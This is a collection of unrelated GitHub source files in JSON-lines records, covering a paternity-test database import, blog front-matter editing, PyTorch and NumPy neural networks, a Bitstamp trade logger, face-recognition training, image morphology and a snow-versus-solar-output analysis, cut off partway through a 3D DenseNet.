self.database['sg_pt_ref_main'].find_one({\"sample_id\": line[0],\n # \"storage_time\": {\"$exists\": True}}) # 测试机\n if result:\n dad_time = result['storage_time'] # 改样本的入库时间，之前的都没有(在sanger上跑过的才会有)\n else:\n dad_time = ''\n insert_data = {\n \"pt_father_id\": pt_father_id,\n \"dad_id\": line[0],\n \"test_pos_n\": line[1],\n \"err_pos_n\": line[2],\n \"err_rate\": line[3],\n \"fq\": format(eval(line[4]), '.2e'), # 科学计数法保留两位\n \"dp\": line[5],\n \"eff_rate\": line[6],\n \"ineff_rate\": line[7],\n \"result\": line[8],\n \"rcp\": rcp_result,\n \"dad_time\": dad_time\n }\n sg_pt_family_detail.append(insert_data)\n try:\n collection = self.db['sg_pt_father_analysis']\n collection.insert_many(sg_pt_family_detail)\n except Exception as e:\n self.bind_object.logger.error('导入查重表格出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入查重表格成功\")\n\n def sample_size(self, sample_id, batch_id, tab_none=None):\n collection = self.db['sg_pt_problem_sample']\n # self.mongo_client_ref = Config().biodb_mongo_client # 线上\n # self.database_ref = self.mongo_client_ref['sanger_paternity_test_ref']\n ref_data = self.ref_db['sg_pt_ref_main'].find_one({\"sample_id\": sample_id}) # 线上\n # ref_data = self.database['sg_pt_ref_main'].find_one({\"sample_id\": sample_id}) # 线下\n split_data_name = ref_data[\"split_data_name\"]\n try:\n collection.insert_one({'sample_id': sample_id,\n 'split_data_name': split_data_name,\n 'batch_id': batch_id,\n 'time': datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n 'tab_none': tab_none})\n except Exception as e:\n self.bind_object.logger.error('导入问题样本出错：{}'.format(e))\n raise Exception('导入问题样本出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入问题样本成功\")\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/api/database/sg_paternity_test.py","file_name":"sg_paternity_test.py","file_ext":"py","file_size_in_byte":23551,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"39132338638","text":"#!/usr/bin/python3\n# -*-coding:utf-8-*-\n\n__author__ = \"Bannings\"\n\nimport os, logging, re\n\nif __name__ == '__main__':\n root_directory = os.path.dirname(os.path.abspath(__file__))\n\n # 找出所有的 markdown 文章\n post_directory = os.path.join(root_directory, '_posts')\n posts = [os.path.join(post_directory, file) for file in os.listdir(post_directory) if file[-2:]==\"md\"]\n\n if os.path.exists(\"output.log\"):\n os.remove(\"output.log\")\n logging.basicConfig(filename=\"output.log\", level=logging.DEBUG, format='%(message)s')\n\n # 添加别名\n for post in posts:\n with open(post, \"r+\", encoding=\"utf-8\") as file:\n logging.debug(post)\n lines = file.readlines()\n\n alias = os.path.splitext(post)[0]\n alias = os.path.basename(alias).replace(\"-\", \"/\")\n alias = alias.replace(\" \", \"-\")\n alias = alias.replace(\"#\", \"\")\n lines.insert(2, f\"redirect_from: /{alias}/\\n\")\n \n file.seek(0)\n file.truncate()\n file.writelines(lines)\n file.flush()\n # # 移除多余的文本\n # regex = re.compile(\"本周选择的算法题是：\\[.*?\\]\\(.*?\\)(（.*?）)\")\n # for post in posts:\n # with open(post, \"r+\", encoding=\"utf-8\") as file:\n # logging.debug(post)\n # lines = file.readlines()\n # changed = False\n # for i, line in enumerate(lines):\n # result = regex.match(line)\n # if result:\n # changed = True\n # start, end = result.span(1)\n # lines[i] = line[:start]+line[end:]\n # logging.debug(f\" {i} {lines[i]}\")\n # break\n \n # if changed:\n # file.seek(0)\n # file.truncate()\n # file.writelines(lines)\n # file.flush()\n ","repo_name":"zhangao0086/zhangao0086.github.io","sub_path":"update_front_matter.py","file_name":"update_front_matter.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19401363655","text":"from torch import nn\n\nfrom modules.encoderlayer import EncoderLayer\n\n\nclass Encoder(nn.Module):\n def __init__(self, model_dim, filter_dim, layer_num):\n super(Encoder, self).__init__()\n self.layers = nn.ModuleList([EncoderLayer(model_dim, filter_dim) for i in range(layer_num)])\n\n def forward(self, inputs, attn_mask):\n for layer in self.layers:\n inputs = layer(inputs, attn_mask)\n return inputs","repo_name":"royyoung388/srl","sub_path":"src/modules/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14345481666","text":"# Write a recursive function to check if a string is a palindrome.\n\nword = input(\"Please enter a word yo check if it's a palindrome: \")\n\ndef is_palindrome(w):\n if len(w) <= 1:\n return True\n else:\n if w[0].lower() == w[-1].lower():\n return is_palindrome(w[1:-1])\n else:\n return False\n \nresult = is_palindrome(word)\nprint(result)\n","repo_name":"Mati-Bouchet/entry_level_exercises","sub_path":"Functions/exercise32.py","file_name":"exercise32.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"42507809985","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport matplotlib.pyplot as pl\nfrom sklearn import datasets\n\nclass ANN:\n def __init__(self, inputsize, hiddensize, outputsize):\n \"\"\" setup the network \"\"\"\n # add an additional node to the input and hidden layers as bias nodes\n inputsize += 1\n hiddensize += 1\n\n # thetas hold the weights for connections between nodes \n # theta1 matrix holds weights for connections between input and hidden nodes\n # theta2 matrix for hidden to output nodes\n # initially set the weights randomly\n np.random.seed(123)\n self.theta1 = np.random.normal(0,0.5,[inputsize,hiddensize])\n self.theta2 = np.random.normal(0,0.5,[hiddensize,outputsize])\n\n # change matricies to hold onto the last change in weight for the thetas\n # this is used for incorporating momentum into the weight updates in backprop\n self.theta1change = np.zeros([inputsize,hiddensize])\n self.theta2change = np.zeros([hiddensize,outputsize])\n\n def feedforward(self, x):\n \"\"\" push feature vector x through the network, return each layers output \"\"\"\n # set inputlayer output to x plus 1.0 bias node\n inputlayer = np.append(1.0,np.tanh(x))\n\n # calculate hidden layer vector output, set bias node to 1.0\n z2 = np.dot(inputlayer,self.theta1)\n hiddenlayer = np.tanh(z2)\n hiddenlayer[0] = 1.0\n\n # calculate output layer vector\n z3 = np.dot(hiddenlayer,self.theta2)\n outputlayer = np.tanh(z3)\n\n return inputlayer,hiddenlayer,outputlayer\n\n def backpropagation(self, targets, inputlayer, hiddenlayer, outputlayer, alpha, momentum):\n \"\"\" utilize backprop to update theta1 and theta2 weights \"\"\"\n # alpha is the learning rate, or how much to update theta per training\n # momentum is the what we add to the theta change to prevent getting stuck in a local minimum\n\n # dtanh returns the derivative of the tanh function\n dtanh = lambda y: 1.0 - y ** 2\n\n # calculate the errors between the expected result and the result of the output and hidden layers\n # delta matricies determine how much and in what direction to \"correct\" weights \n outputerrors = targets - outputlayer\n outputdeltas = dtanh(outputlayer) * outputerrors\n\n hiddenerrors = np.dot(outputdeltas,self.theta2.T)\n hiddendeltas = dtanh(hiddenlayer) * hiddenerrors\n\n # for each theta:\n # use the deltas to calculate the change gradient\n # update the weights for thetas to correct the errors\n change = np.array(np.matrix(hiddenlayer).T * np.matrix(outputdeltas))\n self.theta2 = self.theta2 + (alpha * change) + (momentum * self.theta2change)\n self.theta2change = change\n\n change = np.array(np.matrix(inputlayer).T * np.matrix(hiddendeltas))\n self.theta1 = self.theta1 + (alpha * change) + (momentum * self.theta1change)\n self.theta1change = change\n\n def predict(self, x):\n \"\"\" given feature vector x return the learned outputlayer \"\"\"\n inputlayer,hiddenlayer,outputlayer = self.feedforward(x)\n return outputlayer\n \n def train(self, x, y, alpha=0.5, momentum=0.3):\n \"\"\" train a single example (x) with expected output (y) \"\"\"\n # the learning rate (alpha) and the momentum values may need to be adjusted so they are not too high/low\n\n # first get the outputs of all the layers from pushing x through the network\n inputlayer,hiddenlayer,outputlayer = self.feedforward(x)\n # then use backprop to adjust the weights so the network's output is closer to y\n self.backpropagation(y,inputlayer,hiddenlayer,outputlayer,alpha,momentum)\n\n\ndef digits():\n \"\"\" teach the neural network what digits look like \"\"\"\n # use the digits dataset from the sklearn library\n # the images are 8x8 bitmaps of handwritten digits {0,9}\n # when 'unrolled' each image becomes a 1x64 matrix\n digits = datasets.load_digits()\n X = digits.data\n Y = digits.target\n\n classes = list(set(Y))\n\n # use each pixel as an input node\n # using 12 hidden nodes/neurons\n # output layer contains 10 nodes, one for each digit\n inputsize = X.shape[1]\n hiddensize = 12\n outputsize = len(classes)\n ann = ANN(inputsize,hiddensize,outputsize)\n\n # for this example, im only training with the first 12 examples\n for n in xrange(400):\n for i in xrange(12):\n x,y = X[i],Y[i]\n target = np.zeros(len(classes))\n target[classes.index(y)] = 1\n ann.train(x,target,alpha=0.1,momentum=0.2)\n\n # see how well the trained examples were learned\n for i in xrange(12):\n x,y = X[i],Y[i]\n results = ann.predict(x)\n prediction = results.argmax()\n pl.subplot(3,4,i+1)\n color = pl.cm.gray if prediction == y else pl.cm.Reds_r\n pl.imshow(digits.images[i], cmap=color)\n pl.title('Predicted=%i vs. Actual=%i' % (prediction,y))\n\n pl.show()\n\nif __name__ == '__main__':\n digits()\n","repo_name":"liamgriffiths/learning","sub_path":"ann.py","file_name":"ann.py","file_ext":"py","file_size_in_byte":5095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25435724815","text":"import os\nimport sys\nimport time\nimport json\nimport logging\nfrom functools import partial\n\nfrom feed import bitstamp\nfrom datasink import Datasink, stdout_logger\n\n\nCONFIG_FILE = 'tick.conf'\n\n\ndef write_tick_to_sink(record, sink):\n rec = json.loads(record)\n fields = ['id', 'price', 'amount', 'timestamp']\n msg = ','.join([str(rec[field]) for field in fields])\n sink.write(msg)\n\n\ndef main(\n *,\n root='cryptle-exchange/bitstamp-tick',\n pairs=('btcusd', 'bchusd', 'ethusd', 'xrpusd'),\n resolution=Datasink.MINUTE,\n backend='os'\n ):\n header = ['id', 'price', 'amount', 'time']\n header = ','.join(header)\n ext = 'csv'\n\n # Prepare sinks\n sinks = {}\n for pair in pairs:\n sinks[pair] = Datasink(\n root='-'.join([root, pair]),\n ext=ext,\n header=header,\n namemode=2,\n resolution=resolution,\n backend=backend,\n )\n\n conn = bitstamp.BitstampFeed()\n conn.connect()\n\n for pair in pairs:\n conn.onTrade(pair, partial(write_tick_to_sink, sink=sinks[pair]))\n\n while True:\n try:\n while conn.is_connected():\n time.sleep(0.2)\n except ConnectionError:\n # reconnect\n conn.connect()\n except KeyboardInterrupt:\n print('\\rTerminating...')\n conn.close()\n return 0\n except Exception:\n logging.error('Uncaught exception %s', e)\n return 1\n\n\nif __name__ == '__main__':\n config = {}\n if os.path.isfile(CONFIG_FILE):\n with open(CONFIG_FILE) as f:\n for line in f:\n name, var = line.partition('=')[::2]\n config[name.strip()] = var.strip()\n logging.basicConfig(level=logging.INFO)\n stdout_logger()\n sys.exit(main(**config))\n","repo_name":"pinealan/crypto-data","sub_path":"scripts/tick.py","file_name":"tick.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"69810621709","text":"from cgitb import text\nfrom sqlite3 import Cursor\nfrom tkinter import*\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom PIL import Image,ImageTk\nfrom tkinter import messagebox\nimport mysql.connector\nimport cv2\nimport os\nimport numpy as np\n# from main import Face_Recognition_System\n\n\nclass TrainImages:\n def __init__(self,root):\n self.root=root\n self.root.geometry(\"1530x790+0+0\")\n self.root.title(\"train Images\")\n\n \n butn_frame=Frame(self.root,bd=2,pady=3,relief=RIDGE,bg=\"white\")\n butn_frame.place(x=0,y=200,width=660,height=100)\n\n back_button=Button(self.root,text=\"Back\",command=self.Back_to_main,cursor=\"hand2\")\n back_button.place(x=1265,y=100,width=90,height=30)\n\n train_Button=Button(butn_frame,command=self.trainClassifier,text=\"Train Data\",font=(\"times new roman\",13,\"bold\"),padx=10,width=14,bg=\"blue\",fg=\"white\")\n train_Button.grid(row = 0,column = 0)\n\n \n\n\n def trainClassifier(self):\n data_dir=(\"Student faces\")\n path=[os.path.join(data_dir,file) for file in os.listdir(data_dir)]\n\n faces=[]\n ids=[]\n for image in path:\n img=Image.open(image).convert('L') # gray scale image\n imageNp=np.array(img,'uint8')\n id=int(os.path.split(image)[1].split('.')[1])\n\n\n faces.append(imageNp)\n ids.append(id)\n cv2.imshow(\"Training\",imageNp)\n cv2.waitKey(1)==13\n ids=np.array(ids)\n\n\n\n # ************************* train classifier save****************\n clf=cv2.face.LBPHFaceRecognizer_create()\n clf.train(faces,ids)\n clf.write(\"classifier.xml\")\n cv2.destroyAllWindows()\n messagebox.showinfo(\"Result\",\"Training datasets completed!!\")\n\n def Back_to_main(self):\n # self.old_window=Toplevel(self.root)\n # cv2.destroyAllWindows()\n self.root.destroy()\n \n\n\n\n\n\n\nif __name__==\"__main__\":\n root=Tk()\n obj=TrainImages(root)\n root.mainloop()\n","repo_name":"jeevandaka/Face_recognition","sub_path":"trainImages.py","file_name":"trainImages.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24454942747","text":"import cv2\nimport matplotlib.pyplot as plt\n\nimg = cv2.imread('./images/street.jpeg', cv2.IMREAD_GRAYSCALE)\nret, thresh = cv2.threshold(img, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)\n\n# kernel\nkernel = cv2.getStructuringElement(cv2.MORPH_CROSS, (3, 3))\n# closing\nclosed = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel)\n\n# plotting\nfig, axs = plt.subplots(1, 2, figsize=(10, 5))\naxs[0].imshow(thresh, cmap='gray')\naxs[0].set_title('Binary Image')\naxs[1].imshow(closed, cmap='gray')\naxs[1].set_title('Closed Image')\nplt.show()\n","repo_name":"Raaulsthub/ImgProcessingStudies","sub_path":"codes/morph/closing.py","file_name":"closing.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37517192695","text":"# -*- coding: utf-8 -*-\r\n# when : 2021.09.09\r\n# who : [sori-machi]\r\n# what : \r\n# *日射量(地上/衛星)、出力、アメダス積雪深の関係性\r\n# *冬季期間における、富山・福井の日射量影響の把握/冬季期間においては、積雪により、日射量が過小評価になりがちなことを、plotlyで確認。\r\n#---------------------------------------------------------------------------\r\n# basic-module\r\nimport matplotlib.pyplot as plt\r\nimport sys,os,re,glob\r\nfrom matplotlib import rcParams\r\nrcParams['font.family'] = 'sans-serif'\r\nrcParams['font.size'] = 18\r\nrcParams['font.sans-serif'] = ['Hiragino Maru Gothic Pro', 'Yu Gothic', 'Meirio', 'Takao', 'IPAexGothic', 'IPAPGothic', 'VL PGothic', 'Noto Sans CJK JP']\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom datetime import datetime, timedelta\r\nimport warnings\r\nwarnings.simplefilter('ignore')\r\n\r\n# \r\nimport matplotlib.colors as mcolors\r\n_color = [ mcolors.rgb2hex(plt.cm.get_cmap('tab10')(i)) for i in range(10)]\r\n\r\nfrom tqdm import tqdm\r\nimport seaborn as sns\r\nimport math\r\n# https://www.python.ambitious-engineer.com/archives/1140\r\n#---------------------------------------------------\r\n# sori -module\r\nsys.path.append('/home/ysorimachi/tool')\r\nfrom getErrorValues import me,rmse,mae,r2 #(x,y)\r\n# from convSokuhouData import conv_sfc #(df, ave=minutes,hour)\r\nfrom convAmedasData import conv_amd\r\n#amedas relate 2020.02,04 making...\r\nfrom tool_AMeDaS import code2name, name2code\r\nfrom tool_110570 import get_110570,open_110570\r\nfrom tool_100571 import get_100571,open_100571\r\n#(code,ini_j,out_d)/(code,path,csv_path)\r\n#---------------------------------------------------\r\nimport subprocess\r\nfrom utils_plotly import plotly_2axis#(df,col1,col2,html_path, title=\"sampe\"):\r\n# outd ='/home/griduser/work/sori-py2/deep/out/0924_01'\r\n# os.makedirs(outd, exist_ok=True)\r\n# subprocess.run('rm -f *.png', cwd=outd, shell=True)\r\n#------------------------\r\n# 2021.09.09 \r\nsys.path.append(\"..\")\r\nfrom tmp.amedas import get_List\r\nfrom teleme.reg_PU_001 import load_teleme\r\nfrom smame.reg_PU_001 import load_smame,get_a_b_c_d #(month,cate) #(\"surplus\",\"month\")\r\nfrom teleme.utils_teleme import teleme_max#(code=None,cate =\"max\")\r\nfrom utils import load_rad#(month=\"201904\",cate=\"obs\", lag=30)\r\n\r\n#------------------------\r\n# from mapbox import map_lonlat_multi#(_df,html_path,size=4,zoom=4)\r\nfrom mapbox import map_lonlat2,map_lonlat# (_df,text=\"name\",html_path,size=4,zoom=4)\r\n\r\nDHOME=\"/work/ysorimachi/hokuriku/snow_hosei/rad210524\" #8now0/sfc\r\nDAT_1MIN=\"/home/ysorimachi/work/hokuriku/dat/rad/111600_2sites\"\r\nTMP=\"/home/ysorimachi/work/hokuriku/tmp/tmp210524\"\r\npoint_hash = {\"cpnt15\": \"47607\",\"cpnt18\": \"47616\"}\r\nname_hash = {\"cpnt15\": \"TOYAMA\",\"cpnt18\": \"FUKUI\"}\r\n\r\n#settig loop\r\ndef load_month(isWinter=False):\r\n if isWinter:\r\n return list([202012,202101,202102,202103])\r\n else:\r\n return list([202004,202005,202006,202007,202008,202009,202010,202011,202012,202101,202102,202103])\r\n \r\n\r\n# set\r\n\r\ndef check_rad(code,month):\r\n \"\"\"\r\n 2021.05.24 \r\n 個別地点、個別の月において、日射量と積雪について確認する\r\n \"\"\"\r\n #local function ---------------\r\n def clensing(df):\r\n for c in [\"rad\",\"H0\",\"8now0\"]:\r\n df[c] = df[c].apply(lambda x: np.nan if x< 0 or x>1400 else x)\r\n df = df.dropna(subset=[\"rad\",\"H0\",\"8now0\"])\r\n return df\r\n \r\n def load_sfc(scode,month):\r\n path = f\"{DHOME}/sfc/sfc_10minh_{month}_{scode}.csv\"\r\n df = pd.read_csv(path)\r\n df = conv_sfc(df, ave=False)\r\n df[\"time\"] = df[\"time\"].apply(lambda x:x.strftime(\"%Y%m%d%H%M\"))\r\n df = df[[\"time\",\"snowDepth\"]]\r\n df = df.replace(9999,np.nan)\r\n return df\r\n \r\n df = pd.read_csv(f\"{DHOME}/dataset/{code}_{month}.csv\")\r\n df[\"time\"] = df[\"time\"].astype(str)\r\n # df = clensing(df)\r\n scode = point_hash[code]\r\n ame = load_sfc(scode,month)\r\n \r\n # print(df)\r\n df = df.merge(ame, on=\"time\",how=\"inner\")\r\n df[\"time\"] = pd.to_datetime(df[\"time\"])\r\n html_path = f\"{TMP}/{code}_{month}_rad_SNOW.html\"\r\n plotly_2axis(df,[\"rad\",\"8now0\"],[\"snowDepth\"],html_path, title=f\"{code}_{month}_rad_SNOW\")\r\n print(df.head())\r\n sys.exit()\r\n\r\n\r\ndef plot_map():\r\n \"\"\"\r\n 2021.09.09 : 日射量/アメダス観測点を表示する\r\n \"\"\"\r\n df = get_List()\r\n df[\"flg\"] = df[\"name\"].isnull()\r\n df.loc[df[\"flg\"]==False, \"cate\"] = \"日\"\r\n print(df[\"cate\"].unique())\r\n _df,_text = [],[]\r\n for i,c in enumerate(df[\"cate\"].unique()):\r\n tmp = df[df[\"cate\"]==c]\r\n tmp[\"color\"] = i\r\n _df.append(tmp)\r\n _text.append(c)\r\n \r\n df = pd.concat(_df,axis=0)\r\n # df[\"text\"] = df[\"code\"].astype(str) + \"-\" + df[\"cate\"] + \"-\" + df[\"name\"]\r\n df[\"text\"] = df[\"code\"].astype(str) +\"-\" + df[\"cate\"]\r\n # print(df.head(50))\r\n # sys.exit()\r\n\r\n out_d= \"/home/ysorimachi/work/hokuriku/out/snow/html\"\r\n html_path = f\"{out_d}/map_amedas.html\"\r\n # map_lonlat_multi(_df,_text,html_path)\r\n map_lonlat(df,html_path =html_path, text=\"text\",size=4,size_col=\"color\",zoom=4)\r\n\r\n\r\n\r\n\r\n#---------------------------------\r\n#-----------------\r\ndef get_snw(month,code):\r\n local = \"/home/ysorimachi/work/hokuriku/dat/snow/amedas\"\r\n # path = f\"{local}/amd_10minh_{month}_{code}.csv\"\r\n # if not os.path.exists(path):\r\n # subprocess.run(\"sh amd_get.sh {} {} {}\".format(month,code,local), shell=True)\r\n # else:\r\n # print(f\"already get ..{month} {code}\")\r\n if 202004 <= int(month) <= 202006:\r\n path = f\"{local}/snow_2004.csv\"\r\n elif 202007 <= int(month) <= 202009:\r\n path = f\"{local}/snow_2007.csv\"\r\n elif 202010 <= int(month) <= 202012:\r\n path = f\"{local}/snow_2010.csv\"\r\n elif 202101 <= int(month) <= 202103:\r\n path = f\"{local}/snow_2101.csv\"\r\n else:\r\n path = \"not found\"\r\n df = pd.read_csv(path)\r\n \r\n for c in df.columns[1:]:\r\n df[c] = df[c].apply(lambda x: x if x>0 else 0)\r\n \r\n df[\"time\"] = pd.to_datetime(df[\"time\"])\r\n df = df.set_index(\"time\")\r\n if code == \"55056\":\r\n return df[\"魚津\"]\r\n if code == \"55151\":\r\n return df[\"富山\"]\r\n if code == \"56286\":\r\n return df[\"白山河内\"]\r\n\r\ndef loop_month(st = \"201904\", ed=\"202104\"):\r\n _t = pd.date_range(start = f\"{st}300000\",end = f\"{ed}300000\", freq=\"M\")\r\n _t = [ t.strftime(\"%Y%m\") for t in _t]\r\n _t = _t[:-1]\r\n return _t\r\n\r\ndef get_pv(cate,month,pv_name):\r\n #--------------\r\n if cate == \"teleme\":\r\n df = load_teleme(month)\r\n max_val = teleme_max(pv_name)\r\n \r\n df[\"max\"] = max_val\r\n df = df[[pv_name,\"max\"]]\r\n df.columns = [\"PV\",\"max\"]\r\n return df\r\n\r\n if cate == \"surplus\":\r\n # 事前に、/home/ysorimachi/work/hokuriku/py/smame のdetails_smame2.pyを実行して、対象地点のみの合算ファイルを作成しておくことが必要\r\n DHOME_TMP=\"/home/ysorimachi/work/hokuriku/dat/snow/csv/tmp_smame_month\"\r\n path = f\"{DHOME_TMP}/{cate}_{month}.csv\"\r\n df = pd.read_csv(path)\r\n df[\"time\"]= df[\"time\"].astype(str)\r\n df[\"time\"] = df[\"time\"].apply(lambda x: x[0:8] + \"0000\" if x[8:10] == \"24\" else x)\r\n df[\"time\"] = pd.to_datetime(df[\"time\"].astype(str))\r\n df = df.set_index(\"time\")\r\n df[\"sum\"] *=2 #30分間隔なので\r\n # df = df.rename(columns={\"sum\":\"PV\"})\r\n return df[[\"sum\",\"max\"]]\r\n\r\n\r\ndef details_effect(NAME):\r\n if NAME==\"AREA001\":\r\n rad_name,pv_name,snow_code,cate = \"unyo001\",\"telm007\",\"55056\",\"teleme\"\r\n if NAME==\"AREA002\":\r\n rad_name,pv_name,snow_code,cate = \"unyo001\",\"telm007\",\"55056\",\"teleme\"\r\n if NAME==\"AREA003\":\r\n rad_name,pv_name,snow_code,cate = \"unyo012\",\"telm007\",\"56286\",\"surplus\"\r\n \r\n return rad_name,pv_name,snow_code,cate\r\n\r\ndef snow_effect(month=\"202103\"):\r\n \"\"\"\r\n 2021 .09.09\r\n 積雪深が個別のPV出力に影響を与えていたのかを調査\r\n \"\"\"\r\n HTML_HOME=\"/home/ysorimachi/work/hokuriku/out/snow/html\"\r\n # area setting ---------\r\n # NAME=\"AREA001\"\r\n NAME=\"AREA003\"\r\n radname = \"obs\"\r\n \r\n rad_name,pv_name,snow_code,cate = details_effect(NAME)\r\n png_title = f\"{NAME}({rad_name}/{pv_name}/{snow_code})\"\r\n # print(png_title)\r\n # sys.exit()\r\n \r\n # mk dataset ---------\r\n sn_df= get_snw(month,snow_code)# dataget\r\n pv_df = get_pv(cate,month,pv_name) #teleme&smame\r\n\r\n rad_df = load_rad(month=month,cate=radname, lag=30) #rad_\r\n df = pd.concat([rad_df[rad_name],pv_df,sn_df],axis=1)\r\n \r\n df.columns = [\"rad\",\"PV\",\"max\",\"snow\"]\r\n df[\"snow\"] = df[\"snow\"].fillna(method = \"pad\")\r\n df = df.dropna()\r\n \r\n # calc -----\r\n df[\"p.u\"] = df[\"PV\"]/df[\"max\"]\r\n df[\"rad\"] /=1000\r\n \r\n DOUT=\"/home/ysorimachi/work/hokuriku/dat/snow/csv/point\"\r\n df.to_csv(f\"{DOUT}/{NAME}_{month}.csv\")\r\n \r\n if 0: #plotly \r\n df = df.reset_index()\r\n html_path = f\"{HTML_HOME}/ts_{NAME}.html\"\r\n plotly_2axis(df,[\"rad\",\"p.u\"],[\"snow\"],html_path, title=png_title, vmax=1)\r\n \r\n if 0: #png\r\n df = df.reset_index()\r\n png_d =\"/home/ysorimachi/work/hokuriku/out/snow/png\"\r\n from plot1m import plot1m_2axis#(df,_col,_sub_col=False,month=False,_ylim=[0,1000,0,100],title=False,step=6)\r\n f = plot1m_2axis(df,_col=[\"rad\",\"p.u\"],_sub_col=[\"snow\"],month=month,_ylim=[0,1.1,0,120],title=False,step=6)\r\n f.savefig(f\"{png_d}/ts_{month}_{NAME}.png\",bbox_inches=\"tight\")\r\n print(png_d, month)\r\n return\r\n\r\ndef plot_pu(NAME):\r\n \"\"\"\r\n 2021.09.12\r\n 事前にデータセットを作成して置く必要がある\r\n \"\"\"\r\n DHOME=\"/home/ysorimachi/work/hokuriku/dat/snow/csv/point\"\r\n png_d =\"/home/ysorimachi/work/hokuriku/out/snow/png\"\r\n \r\n _path = sorted(glob.glob(f\"{DHOME}/{NAME}*.csv\"))\r\n _df = [pd.read_csv(path) for path in _path]\r\n df = pd.concat(_df,axis=0)\r\n N=df.shape[0]\r\n \r\n # f,ax = plt.subplots(1,3,figsize=(18,5))\r\n f,ax = plt.subplots(figsize=(9,9))\r\n \r\n _h = [0,5,20]\r\n \r\n ax.scatter(df[\"rad\"],df[\"p.u\"],color=\"gray\", s=1, alpha=0.3,label=\"全データ\")\r\n for i,h in enumerate(_h):\r\n tmp = df[df[\"snow\"]>h]\r\n title = f\"積雪別日射量とp.uの関係\"\r\n percent = np.round(tmp.shape[0]*100/N,1)\r\n color = _color[i]\r\n if i==2:\r\n size = 50\r\n marker=\"o\"\r\n color=\"r\"\r\n else:\r\n size = 12\r\n marker=\"o\"\r\n \r\n ax.scatter(tmp[\"rad\"],tmp[\"p.u\"],color=color, s=size,marker=marker, alpha=1, label=f\"SNOW({h}cm超-{percent}[%])\")\r\n \r\n \r\n if 1:\r\n a,b,c,d = get_a_b_c_d(\"202101\",\"8now0\")\r\n _x = np.linspace(0,1,1000)\r\n _y = a*_x**3 +b*_x**2 + c*_x + d\r\n ax.plot(_x, _y, color=\"g\", lw=2, label=\"p.u回帰曲線(1月)\")\r\n # print(a,b,c,d)\r\n # sys.exit()\r\n \r\n ax.plot(_x, _x, color=\"k\", lw=1)\r\n ax.set_xlabel(\"日射量[kW/m2]\") \r\n ax.set_ylabel(\"p.u[-]\") \r\n ax.set_xlim(0,1) \r\n ax.set_ylim(0,1)\r\n ax.set_title(title)\r\n plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left', borderaxespad=0, fontsize=18)\r\n \r\n f.savefig(f\"{png_d}/scatter_{NAME}.png\", bbox_inches=\"tight\") \r\n \r\n print(\"DIRECTR\",png_d)\r\n sys.exit()\r\n \r\n\r\n\r\nif __name__ == \"__main__\":\r\n #---------------------------------------\r\n # #all months -------------\r\n if 0:\r\n plot_map()\r\n \r\n if 0: #\"make dataset \r\n for month in loop_month()[12:]:\r\n # month=\"202010\"\r\n snow_effect(month=month)\r\n print(datetime.now(), \"[END]\", month)\r\n # sys.exit()\r\n if 1:\r\n NAME=\"AREA001\" #teleme\r\n NAME=\"AREA003\" #smame\r\n plot_pu(NAME)\r\n ","repo_name":"soriiieee/analysis_stock","sub_path":"py_hokuriku/py/snow/tmp_210909.py","file_name":"tmp_210909.py","file_ext":"py","file_size_in_byte":11210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4738531426","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.model_zoo as model_zoo\nfrom collections import OrderedDict\n\n\nclass _DenseLayer(nn.Sequential):\n def __init__(self, num_input_features, growth_rate, bn_size, drop_rate):\n super(_DenseLayer, self).__init__()\n self.add_module('norm1', nn.BatchNorm3d(num_input_features)),\n self.add_module('relu1', nn.ReLU(inplace=True)),\n self.add_module('conv1', nn.Conv3d(num_input_features, bn_size *\n growth_rate, kernel_size=1, stride=1, bias=False)),\n self.add_module('norm2', nn.BatchNorm3d(bn_size * growth_rate)),\n self.add_module('relu2', nn.ReLU(inplace=True)),\n self.add_module('conv2', nn.Conv3d(bn_size * growth_rate, growth_rate,\n kernel_size=3, stride=1, padding = 1, bias=False)),\n self.drop_rate = drop_rate\n\n def forward(self, x):\n new_features = super(_DenseLayer, self).forward(x)\n if self.drop_rate > 0:\n new_features = F.dropout(new_features, p=self.drop_rate, training=self.training)\n return torch.cat([x, new_features], 1)\n\n\nclass _DenseBlock(nn.Sequential):\n def __init__(self, num_layers, num_input_features, bn_size, growth_rate, drop_rate):\n super(_DenseBlock, self).__init__()\n for i in range(num_layers):\n layer = _DenseLayer(num_input_features + i * growth_rate, growth_rate, bn_size, drop_rate)\n self.add_module('denselayer%d' % (i + 1), layer)\n\n\nclass _Strider(nn.Sequential):\n def __init__(self, num_input_features, num_output_features):\n super(_Strider, self).__init__()\n self.add_module('norm', nn.BatchNorm3d(num_input_features))\n self.add_module('relu', nn.ReLU(inplace=True))\n self.add_module('conv', nn.Conv3d(num_input_features, num_output_features,\n kernel_size=3, stride=1, bias=False)) ## reduce the size of the feature map\n self.add_module('pool', nn.Conv3d(num_output_features, num_output_features,\n kernel_size=2, 